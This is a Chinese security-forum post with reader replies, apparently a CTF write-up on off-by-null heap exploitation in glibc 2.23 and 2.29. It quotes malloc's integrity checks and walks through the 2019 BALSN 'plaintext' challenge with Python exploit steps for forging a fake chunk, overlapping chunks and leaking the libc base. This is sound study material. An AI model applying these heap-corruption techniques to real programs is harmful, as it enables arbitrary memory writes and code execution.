首页
社区
课程
招聘
[原创]glibc2.29下的off-by-null
2020-3-1 20:44 20817

[原创]glibc2.29下的off-by-null

2020-3-1 20:44
20817

前言

在看雪发的第二篇帖子,回归老本行pwn。
在经典的2.23版本的glibc下,off-by-null算得上是堆利用的一种中等难度的利用技巧,简单来说,这种漏洞发生在读入数据的过程,存在多输入一个字节并且该字节固定为\x00的问题,利用这一个看似不可控却很有作用的字节,攻击者就可以精心构造出堆上的布局,进行任意地址的读写,构造的过程也可以说十分巧妙。
不过慢慢在各种CTF赛题的狂轰乱炸之下,off-by-null也算形成了比较固定的公式,开始被玩坏了。
想到目前已经2020年了,希望出题人也好,选手也好,不要再把思路局限于2.23了,甚至于2.27也算是一个相对过时的版本了,因为除了多了一个tcache机制,其实等于裸奔的fastbins,把tcache塞满之后,其余的区别并不大。所以在这里,我会详细解析一下在各项保护更加完善的2.29下,是如何进行off-by-null的,希望可以起到一些抛砖引玉的作用。

2.23

先从构造起来最简单最基本的2.23说起,其实也是一个自己复习知识的过程,由简入繁,才能更好地理解问题。
这里我画了一个简单的2.23下off-by-null的构造流程图,如果你对这个过程足够熟练,看着这个图就可以撸出2.23下off-by-null的exp了:

这里说前向合并或者后向合并容易产生歧义,所以接下来,我会用高低地址来表示。先简述一下流程:

  1. 这里我们首先先开辟出若干堆块,chunk0,chunk2,以及它们之间的若干堆块和chunk2高地址的堆块,
  2. 让chunk0进入unsortedbin之中。在chunk2下面的chunk构造一个假的堆头部。
  3. 用chunk2紧邻低地址的chunk去进行off-by-null,覆写掉chunk2的size字段,图里就是最低字节被覆盖为了\x00变成了0x100,这里不管是0x100还是0x1ff,都是会被覆盖成0x100的。同时也要覆盖掉pre_size字段,使其通过prevsize能够找到chunk0。
  4. free chunk2 达成布局。再次分配就可以达成chunk0-chunk2之间区域的重复利用,达成UAF的效果。

这里主要利用到了free时的两个机制,一个是不满足fastbin的时候,会判断是否向低地值合并:

/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = p->prev_size;
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    unlink(av, p, bck, fwd);
}

p就是chunk2,因为此时chunk2的P被off-by-null盖成了0,所以开始向低地值合并,通过prevsize找到了需要合并的chunk,这里也就是chunk0,然后触发第二个机制,也就是unlink。

 

unlink的作用就是在bin双向链表上把其中的一个chunk卸载下来,曾经稚嫩的unlink还是个宏,后来地位上升了,现在早已经变成函数了。部分能用得到的宏代码:

#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;                                      \
    BK = P->bk;                                      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                      \
        FD->bk = BK;                                  \
        BK->fd = FD;    
... ...

这里的P已经就是图中的chunk0了。有一段该死的检测:

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

主要是在检测P是否在一个真正的双向链之中。这也正是off-by-null构造的巧妙之处,chunk0被我们提前丢进了unsortedbin之中,所以当对其检测时,就利用了系统已经帮我们构造好了的链表绕过了检测。(这里的chunk0的fd和bk里面的值相同,都是0x7f....这种,这就是unsortedbin这条双向链的链表头,该链因为只插进了chunk0这一个元素,所以链表头里的fd和bk也会指向chunk0)

 

别急,接下来还有一步要处理,低地址检测之后还会检测是否要和高地址合并:

if (nextchunk != av->top) {
    /* get and clear inuse bit */
    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

    /* consolidate forward */
    if (!nextinuse) {
        unlink(av, nextchunk, bck, fwd);
        size += nextsize;
    } else
        clear_inuse_bit_at_offset(nextchunk, 0);
//...
}
//...

这里也就是检测下一个chunk的下一个chunk的P位,因为当前chunk是否被使用是标记在比它地址更高的下一个堆块的P位上的。这也是图里步骤2要构造的东西,为了不让系统执行向高地址合并,用正常的chunk,或者用自己伪造的chunk都是可以的。

 

之后chunk0直到chunk2,同时连带着中间的这么一大块空间,就都被送进了unsortedbin,当我们再次从unsortedbin切割的时候,就会分配出中间的各种地址,达成堆块复用的效果了。

2.29

2.27我就不介绍了,把tcache填满了,其他的跟2.23没什么区别。
2.29的代码进行了更加完善的保护,在向低地值合并的时候,加了一行代码:

/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = prev_size (p);
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
    unlink_chunk (av, p);
}

检测了chunksize(p) != prevsize,以图为例,就是检测chunk0的size和chunk2的prevsize是否相等。仔细想想,这让我们之前的那种利用方式就变成了不可能。chunk2的prevsize是我们为了索引到chunk0而构造的,而chunk0和chunk2中间还存在准备被复用的chunk,所以这种构造方式,这个保护是绕不过去的。

 

2.23的链表构造,是系统帮助我们构造出来的。2.29也同样要想办法让系统帮我们构造出来。这里的手法的核心思想就是利用系统的残留数据。

 

首先根据上述的知识,要达成的目的就是伪造出一个chunk0,使其能够绕过这两个检测。

 

一个是向低地值合并的检测:

if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");

另一个就是unlink时候的检测

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);

接下来的操作全程关闭aslr,为了保证100%的成功率。

 

这里的思路是利用largebin残留的fd_nextsize和bk_nextsize两个指针,smallbin残留的bk指针,以及fastbin的fd指针。构造出一个如下的布局:

 

2.29下的off-by-null的题有2019-TCTF-FINAL-babyheap,不过这道题因为有off-by-null发生在edit功能中而不是add中,所以也很简单。
所以接下来,我会以2019-BALSN-CTF-plaintext为例,来详细介绍off-by-null的流程。
当然,因为原来的题目文件在我本地有点问题,所以我重新编译了一份文件,源代码和文件我会放到附件里。(我这个文件也有点问题,因为我是在2.27环境编译,在2.29环境运行的,不过关注点还是主要放在利用手法上嘛hh)

 

1.首先做一些提前的布置。

for i in range(7): # 0-6
    add(0x1000, "padding")

add(0x1000-0x410, "padding") # 7 

for i in range(7): # 8-14
    add(0x28, 't')

add(0xb20, "largebin") # 15
add(0x10, "padding") # 16

delete(15)

用到的最关键的堆块主要是15,0-7的目的都是为了填充堆空间,来调整所需堆块的偏移,这里不完全相同,根据情况自行调整。8-14正好7个chunk是为了对tcache进行操作。16是防止15和topchunk合并。这样布局之后,delete 15 会将其放入unsortedbin:

可以看到此时chunk15堆地址的第二字节(因为是小端序)是\x00,这就是我们前面填充的原因,因为off-by-null不可避免的要在输入后补入\x00,堆地址如果是这个样子,那么我们覆盖第一个字节后,第二个字节被补\x00后就相当于不会产生变化。
而chunk15的size也要尽量的大,因为后续会对他各种切割,并且要保证切割后的大小移然超过tcache的限制,方便我们后续直接让他切割后的部分作为被off-by-null的目标而不用处理tcache。

 

2.对fake chunk的fd和bk进行布局。

add(0x1000, '\n') # chunk15 to largebin

add(0x28, p64(0) + p64(0x521) + p8(0x40)) # idx:17 get a chunk from largebin

当malloc的请求大于当前unsortedbin的size时,会触发malloc源码中的双循环机制,将unsortedbin里的chunk按bk顺序依次压入对应的bin中,然后再从topchunk切割出对应size的空间。
所以上一步的chunk15就被放进了largebin,同时此时因为它所在的largebin中只有它一个chunk,那么此时的fd_nextsize与bk_nextsize会指向其本身,关于largebin的规则这里就不展开说了,有些复杂和乱,如果有时间我会再详细介绍一下largebin规则的。

 

这里的chunk17的请求,因为size小于largebin里的size,所以会在largebin里切下来一小块,然后剩余部分放到unsortedbin里面。关于chunk17里所填入的值都是根据后续产生的指针不断调整出来的,这里暂时是无法观察出这几个值都是怎么来的。不过其作用是伪造出一个fake chunk:

 

3.构造出fake chunk的fd,使fd->bk = fake chunk,满足条件

add(0x28, 'a') # 18
add(0x28, 'b') # 19
add(0x28, 'c') # 20
add(0x28, 'd') # 21

# fill in tcache_entry[1](size: 0x30)
for i in range(7): # 8-14
    delete(8 + i)

delete(20)
delete(18)

# clear tcache_entry[1](size: 0x30)
for i in range(7): # 8-14
    add(0x28, '\n')

# fastbin to smallbin
add(0x400, '\n') #18

# get a chunk from smallbin , another smallbin chunk to tcache
# 20, change fake chunk's fd->bk to point to fake chunk
add(0x28,  p64(0) + p8(0x20))

前面的18-21还是从刚才进到unsortedbin的chunk15中切出来的,之后用到第1步准备的7个tcache填满对应的他tcache_entry链,之后20和18就会被放入fastbin中:

 

清空tcache防止后续被干扰,之后申请一个超过对应fastbin的请求,就会触发机制把当前fastbin里的压入到smallbin中,当然用不了0x400那么大,不过写的时候没注意,之后不想改了hh。

 

注意fastbin取链是遍历fd,而smallbin或者其他任何双向链的bin取链都是遍历bk,当然largebin有所不同,所以此时申请0x28,就会从smallbin的bk取对应的chunk分配给我们,而这个chunk的bk如图所示,残留着堆指针可以被我们操作:

 

smallbin申请之后,会有一个机制将对应smallbin链中余下的chunk放入对应的tcache里,图中可以看到。然后可以看到刚才取出来的chunk的bk被我们覆盖成了fake chunk的地址,这也就是第2步里为什么覆盖成\x40的原因

 

4.使fake chunk的bk->fd = fake chunk,满足条件。

# clear chunk from tcache
add(0x28, 'clear') # 21

for i in range(7): # 8-14
    delete(8 + i)

# free to fastbin
delete(19)
delete(17)

for i in range(7): # 8-14
    add(0x28, '\n')

# change fake chunk's bk->fd
add(0x28, p8(0x20))

chunk 17就是fake chunk,fake chunk的bk是之前通过largebin残留的bk_nextsize,这里指向包裹它的正常堆块,所以这里要改变其fd,要用到fastbin残留的fd指针。不用tcache的原因,是因为tcache在2.29下多了一个key的机制,也就是在bk所对应的位置会加一个指向其tcache的指针,这里不细说了。反正会破坏掉我们对fake chunk伪造的size区域。
进入fastbin:

分配之后:

 

5.触发off-by-null。

add(0x28, "clear")

add(0x28, "a") # 23 overwrite
add(0x5f8, "a") # 24 trigger off-by-null
add(0x100, "padding") # 25

delete(23)

# off-by-null    
add(0x28, "a"*0x20 + p64(0x520))

# trigger
delete(24)

首先还是清空tcache防止被干扰,然后分配一个chunk23用于接下来对chunk24进行off-by-null。chunk25则是防止进行off-by-null的chunk24被合并掉。这里的0x5f8也是通过上述的那些size分配调整出来的,可以正好分配出剩余的unsortedbin,而且对应的size为0x601。这样的size有两个好处,一是足够大,这样就不用考虑还要先填满tcache,第二就是进入就是off-by-null之后,我们就不需要再对nextchunk进行伪造了,借助系统帮我们完成

对chunk24进行修改后:

可以看到通过prevsize可以找到我们的fake chunk,同时也是第2步里,fake chunk的size选择为0x521的理由。

 

关键位置我都框出来了,这时可以来人肉判断一下是否能通过两个检测:

 

向低地值合并的检测。

if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");

unlink时候的检测。

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);

很明显全部满足!bingo!最后free chunk24构造off-by-null成功:

 

6.泄露libc和getshell。

# leak
add(0x40, "a")
show(19)
libc_base = u64(ru("\x7f").ljust(8, "\x00"))-0x3b2ca0
success(hex(libc_base))

最后有了堆块复用就随便玩了,后续步骤就不说了。

最后

2.29下的off-by-null到这里就算分析完了,思路是来自于EX师傅的博客,我只是详细地对其中的关键点解释了一下。
当然2.29下还有一些其他的很有意思的新思路和利用手法,这里因为我在过几天的某比赛的出题里用到了这种手法,所以我会在比赛结束后再分享给大家。


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

上传的附件:
收藏
点赞9
打赏
分享
最新回复 (11)
雪    币: 17842
活跃值: (59818)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2020-3-3 14:01
2
0
感谢分享!
雪    币: 475
活跃值: (371)
能力值: ( LV3,RANK:25 )
在线值:
发帖
回帖
粉丝
时钟 2020-3-3 21:05
3
0
学长tql,pwn巨佬
雪    币: 1120
活跃值: (342)
能力值: ( LV8,RANK:148 )
在线值:
发帖
回帖
粉丝
t1an5g 2 2020-3-4 11:42
4
0
时间的伤 学长tql,pwn巨佬
就尬吹
雪    币: 1120
活跃值: (342)
能力值: ( LV8,RANK:148 )
在线值:
发帖
回帖
粉丝
t1an5g 2 2020-3-4 11:43
5
0
Editor 感谢分享!
本来还想混个优秀贴的
雪    币: 41
活跃值: (2220)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
Seclusion 4 2020-3-4 16:05
6
0
目前知道的过几天的比赛有
雪    币: 1120
活跃值: (342)
能力值: ( LV8,RANK:148 )
在线值:
发帖
回帖
粉丝
t1an5g 2 2020-3-4 21:22
7
0
iddm 目前知道的过几天的比赛有[em_48]
没错,就是它!尽请期待
雪    币: 2510
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_xghoecki 2020-3-11 12:52
8
0
感谢分享
雪    币: 219
活跃值: (38)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
init-0 2020-8-8 15:47
9
0
师傅您好  我想问一下你这个插件是?  就是peda上的heapinfo命令?
雪    币: 296
活跃值: (236)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
husterlong 2021-6-16 21:09
10
0
风水大师,在下甘拜下风
雪    币: 296
活跃值: (236)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
husterlong 2021-6-16 21:45
11
0
大师,不对啊, 在第 "2.对fake chunk的fd和bk进行布局。" 中, 程序有00截断,large bin的fd_nextsize不是0x555555760040,而是0x555555768840咋办???很大概率是不00啊!!!
雪    币: 1
活跃值: (158)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
骨灰小旺 2021-7-2 18:04
12
0

捉虫:清空tcache防止后续被干扰,之后申请一个超过对应fastbin的请求,就会触发机制把当前fastbin里的压入到smallbin中,当然用不了0x400那么大
翻阅了一下 这个还必须是largebin的大小(最小为0x400) 小了还不行 不然fastbin进不了smallbin (如果fastbin进不了smallbin不会造成利用失败当我没说)
原因:这里的fastbin chunk 进 smallbin chunk的时候是
  else
    {
      idx = largebin_index (nb);
      if (atomic_load_relaxed (&av->have_fastchunks))
        malloc_consolidate (av);
    }
这里的malloc_consolidate做的 如果nb(实际chunk大小)不是largebin 大小触发不了malloc_consolidate
另外一个malloc_consolidate 触发的位置是use_top后面的位置,但是之前就已经从top里面分配chunk返回了binmap从大块里面切割小块(最开始分配的largrebin上切割下来的,也可以看到这里的切割因为nb不是smallbin所以没有更新last_reminder对应了原图

最后于 2021-7-2 19:15 被骨灰小旺编辑 ,原因:
游客
登录 | 注册 方可回帖
返回